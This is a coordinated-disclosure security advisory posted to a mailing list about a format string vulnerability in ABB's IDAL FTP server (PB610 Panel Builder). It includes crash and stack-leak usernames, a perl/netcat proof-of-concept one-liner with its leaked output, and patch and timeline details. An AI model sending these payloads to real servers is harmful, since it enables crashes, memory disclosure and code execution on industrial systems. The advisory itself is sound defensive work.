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Date: Thu, 20 Jun 2019 12:07:46 +0000
From: xen1thLabs <>
To: "" <>,
 "" <>
Subject: [FD] XL-19-004 - ABB IDAL FTP Server Uncontrolled Format String

XL-19-004 - ABB IDAL FTP Server Uncontrolled Format String Vulnerability


CVSS Score
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Affected vendor

Eldar Marcussen - xen1thLabs - Software Labs

Vulnerability summary
The IDAL FTP server is vulnerable to memory corruption through insecure use of user supplied format strings. An attacker can abuse this functionality to bypass authentication or execute code on the server.

Technical details
The IDAL FTP server does not safely handle username strings during the authentication process. Attempting to authenticate with the username `%s%p%x%d` will crash the server. Sending `%08x.AAAA.%08x.%08x` will log memory content from the stack.

Proof of concept
perl -e 'print "USER %08x.AAAA.%08x.%08x\r\nPASS xen1thLabs\r\n";' | nc targetip 22

    UserManagementModule::isUserExist failed. "72657355.AAAA.616e614d.656d6567" not present in UserFactory
    UserManagementModule::LoginFTPUser failed. User :"72657355.AAAA.616e614d.656d6567" not present in UserFactory

Affected systems
PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ...

Apply the patches and instructions from vendor:
 - ABB PB610 -

Disclosure timeline
04/02/2019 - Contacted ABB requesting disclosure coordination
05/02/2019 - Provided vulnerability details
05/06/2019 - Patch available
17/06/2019 - xen1thLabs public disclosure

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